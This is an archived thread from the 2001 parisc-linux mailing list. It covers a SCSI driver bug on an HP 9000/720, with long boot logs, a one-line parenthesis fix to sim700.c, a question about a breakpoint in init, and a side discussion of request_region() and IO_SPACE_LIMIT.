scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID4
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID5
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID5
scsi0: Unable to send Bus Device Reset for target 5
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID5
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID6
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID6
scsi0: Unable to send Bus Device Reset for target 6
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID6
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
eth0: link ok.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 196.1.1.20, my address is 196.1.1.110
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 196.1.1.20
Looking up port of RPC 100005/2 on 196.1.1.20
VFS: Mounted root (nfs filesystem) readonly.
break 0,0: pid=9 command='init'
init[9]: Breakpoint 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 102de010 00000000 00000000
r4-7     00000000 00000000 00000000 00000000
r8-11    00000000 00000000 00000000 00000000
r12-15   00000000 00000000 00000000 10125434
r16-19   13f1c5c0 13f1c000 102b4000 00000001
r20-23   102efcc0 102efcc0 10022780 102efcc0
r24-27   0000002e 00001000 00000000 1024c010
r28-31   00000000 00000000 13f1c9c0 10131288
sr0-3    00000000 00000000 00000000 00000001
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00000000 00000004
 IIR: 00000000    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000





-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Kernel & SCSI problem on 720
Date: Mon, 2 Apr 2001 23:43:09 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20010402234309.D9198@linuxcare.com>
References: <3AC8FEBC.1B7F8188@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619990 17450 80.91.229.3 (22 Nov 2014 01:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 16:43:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id F042A482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 16:43:27 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0F5C8B007; Mon,  2 Apr 2001 23:43:09 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3AC8FEBC.1B7F8188@dot.at>; from christoph.plattner@dot.at on Tue, Apr 03, 2001 at 12:35:40AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10644

On Tue, Apr 03, 2001 at 12:35:40AM +0200, Christoph Plattner wrote:
> Hi PARISC/Linux hackers !
> 
> Now I built up a new C-x-tool-chain and a new kernel, and *now*
> I have problems with SCSI on the 720. I had not before a kernel

Just fixed the scsi problem about 10 minutes ago, commiting now.

Richard


If you can't wait:


RCS file: /home/cvs/parisc/linux/drivers/scsi/sim700.c,v
retrieving revision 1.25
diff -u -r1.25 sim700.c
--- sim700.c    2001/03/20 07:04:51     1.25
+++ sim700.c    2001/04/02 22:36:25
@@ -1254,7 +1254,7 @@
            resume_offset = Ent_reselect;
        }
        else if (hostdata->chip == 700 && (dstat & DSTAT_ABRT)) {
-           u32 offset = (dsp - low32(targdata->ba->script)/4);
+           u32 offset = (dsp - low32(targdata->ba->script))/4;
            if (offset == Ent_reselect/4 + 4) {
                DEB(DEB_DISC, printk("scsi%d: wait reselect aborted\n", host->host_no));
                resume_offset = Ent_patch_selection;





From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Tue, 03 Apr 2001 00:51:32 +0200
Organization: private
Lines: 340
Approved: news@gmane.org
Message-ID: <3AC90274.4687ED7C@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619990 17456 80.91.229.3 (22 Nov 2014 01:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 16:51:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta05.chello.at (viemta05.chello.at [195.34.133.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01D3E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 16:51:34 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta05.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010402225131.HLLS24343.viemta05@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 3 Apr 2001 00:51:31 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10645

What this in the new kernel ?
A manually inserted breakpoint ?

Have I to do something in the code to remove ?

Output:

NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.  
Looking up port of RPC 100003/2 on 196.1.1.20
Looking up port of RPC 100005/2 on 196.1.1.20
VFS: Mounted root (nfs filesystem) readonly.
break 0,0: pid=9 command='init'
init[9]: Breakpoint 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 102de010 00000000 00000000
r4-7     00000000 00000000 00000000 00000000
r8-11    00000000 00000000 00000000 00000000
r12-15   00000000 00000000 00000040 10125434
r16-19   13f1c5c0 13f1c000 00000004 00000001
r20-23   102efcc0 102efcc0 10022760 102efcc0
r24-27   0000002e 00001000 00000000 1024c010
r28-31   00000000 00000000 13f1c9c0 10131288
sr0-3    00000000 00000000 00000000 00000001
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00000000 00000004
 IIR: 00000000    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000

<here the system halts>


On a kernel a month ago everthing was ok.
Now the SCSI problem and system does not boot correctly !

Log below.

With friendly regards	
	Christoph P.


Soft booted.
palo ipl root@didymos.pladom1.at Tue Apr  3 00:25:26 CEST 2001
0/vmlinux 2491775 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=vt100 root=/dev/nfs console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable
Entry 00100170 first 00100000 n 5
Segment 0 load 00100000 size 1351880 mediaptr 0x1000
Segment 1 load 0024c000 size 175952 mediaptr 0x14c000
Segment 2 load 00278000 size 230488 mediaptr 0x177000
Segment 3 load 002b4000 size 8192 mediaptr 0x1b0000
Segment 4 load 002de188 size 69024 mediaptr 0x1b2188
branching to kernel entry point 0x00100170
PDC Console Initialized
Linux version 2.4.0 (root@didymos.pladom1.at) (gcc version 3.0 20010315
(prerelease)) #2 Tue Apr 3 00:28:20 CEST 2001
FP[0] enabled: Rev 3 Model 0
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
setup_cmdline(0x64cc4,0x64cc4,0x0,0x0)
PALO command line: 'HOME=/ TERM=vt100 root=/dev/nfs console=ttyS0'
PALO initrd 0-0
model   00002000 00000481 00000000 00000000 0234072e 000011f4 00000004
0000000d 00000000
vers    00000003
CPUID   vers 0 rev 0
model   9000/720
Total Memory: 64 Mb
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77, 0x0,
0x0
2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0
4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72,
0x0, 0x0
5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73, 0x0, 0x0
6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75, 0x0,
0x0
7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75, 0x0,
0x0
8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74,
0x0, 0x0
9. Cobra (720) (0) at 0xfffbe000, versions 0x200, 0x0, 0x4, 0x0, 0x81
10. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9, 0x0, 0x0
That's a total of 10 devices.
CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
Kernel command line: HOME=/ TERM=vt100 root=/dev/nfs console=ttyS0
Error reading tod clock
Calibrating delay loop... 49.76 BogoMIPS
Memory: 62396k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
Found i82596 at 0xf0826000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
request_module[parport_lowlevel]: Root fs not mounted
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 24 64 06 IRQ 87.
82596.c $Revision: 1.15 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID0
scsi0: Unable to send Bus Device Reset for target 0
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID1
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID1
scsi0: Unable to send Bus Device Reset for target 1
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID1
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID2
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID2
scsi0: Unable to send Bus Device Reset for target 2
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID2
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID3
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID3
scsi0: Unable to send Bus Device Reset for target 3
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID3
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID4
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID4
scsi0: Unable to send Bus Device Reset for target 4
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID4
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID5
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID5
scsi0: Unable to send Bus Device Reset for target 5
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID5
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID6
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID6
scsi0: Unable to send Bus Device Reset for target 6
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID6
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
eth0: link ok.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 196.1.1.20, my address is 196.1.1.110
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 196.1.1.20
Looking up port of RPC 100005/2 on 196.1.1.20
VFS: Mounted root (nfs filesystem) readonly.
break 0,0: pid=9 command='init'
init[9]: Breakpoint 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 102de010 00000000 00000000
r4-7     00000000 00000000 00000000 00000000
r8-11    00000000 00000000 00000000 00000000
r12-15   00000000 00000000 00000040 10125434
r16-19   13f1c5c0 13f1c000 00000004 00000001
r20-23   102efcc0 102efcc0 10022760 102efcc0
r24-27   0000002e 00001000 00000000 1024c010
r28-31   00000000 00000000 13f1c9c0 10131288
sr0-3    00000000 00000000 00000000 00000001
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00000000 00000004
 IIR: 00000000    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000





-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] request_region()
Date: Tue, 3 Apr 2001 00:11:14 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20010403001114.F9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619990 17464 80.91.229.3 (22 Nov 2014 01:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 17:11:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2926482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 17:11:32 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id DBEEAB007; Tue,  3 Apr 2001 00:11:14 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:10646

My 715/old, with a cvs head kernel, has no entries in /proc/ioports.
If I change our IO_SPACE_LIMIT in io.h from 0x00ffffff to 0xfffffff,
I get

apollo:~# cat /proc/ioports 
f0800000-f08fffff : ASP
  f0800000-f0800013 : reserved
  f0800020-f0800020 : led_data
  f0824800-f0824802 : parport0
  f0826000-f0826010 : i82596
apollo:~# 


(others won't see the i82596 entry, that is local to my tree)


So, normally they don't show up because their addresses are above
IO_SPACE_LIMIT, and luckily none of them check for error returns
from request_region().

I also have:

apollo:~# cat /proc/iomem 
f0825100-f082513f : sim700


Should all that ASP related stuff be doing a request_mem_region()
so they show up in /proc/iomem rather than /proc/ioports?

If so, does that have implications for EISA devices which will appear
under ASP, where we might want to use exisiting drivers that do
request_region()?

from io.h:

/* IO Port space is :      BBiiii   where BB is HBA number. */
#define IO_SPACE_LIMIT 0x00ffffff


Richard





From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Kernel & SCSI problem on 720
Date: Tue, 03 Apr 2001 01:12:22 +0200
Organization: private
Lines: 47
Approved: news@gmane.org
Message-ID: <3AC90756.67939658@dot.at>
References: <3AC8FEBC.1B7F8188@dot.at> <20010402234309.D9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619990 17467 80.91.229.3 (22 Nov 2014 01:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 17:12:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56430482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 17:12:23 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010402231221.HOUN19423.viemta06@dot.at>;
          Tue, 3 Apr 2001 01:12:21 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10647

Perfect. After CVS update (now), the kernel SCSI problem is fixed.
But the other problem with the "Breakpoint 0" in `init' (pid=9 ?,
pid is normally 1, but the things comparable with "kernel threads"
have low numbers and are contolled by init ....) is still there,
but has nothing to do with SCSI.

Thanks, good work

	Christoph P.


Richard Hirst wrote:
> 
> On Tue, Apr 03, 2001 at 12:35:40AM +0200, Christoph Plattner wrote:
> > Hi PARISC/Linux hackers !
> >
> > Now I built up a new C-x-tool-chain and a new kernel, and *now*
> > I have problems with SCSI on the 720. I had not before a kernel
> 
> Just fixed the scsi problem about 10 minutes ago, commiting now.
> 
> Richard
> 
> If you can't wait:
> 
> RCS file: /home/cvs/parisc/linux/drivers/scsi/sim700.c,v
> retrieving revision 1.25
> diff -u -r1.25 sim700.c
> --- sim700.c    2001/03/20 07:04:51     1.25
> +++ sim700.c    2001/04/02 22:36:25
> @@ -1254,7 +1254,7 @@
>             resume_offset = Ent_reselect;
>         }
>         else if (hostdata->chip == 700 && (dstat & DSTAT_ABRT)) {
> -           u32 offset = (dsp - low32(targdata->ba->script)/4);
> +           u32 offset = (dsp - low32(targdata->ba->script))/4;
>             if (offset == Ent_reselect/4 + 4) {
>                 DEB(DEB_DISC, printk("scsi%d: wait reselect aborted\n", host->host_no));
>                 resume_offset = Ent_patch_selection;

-- 
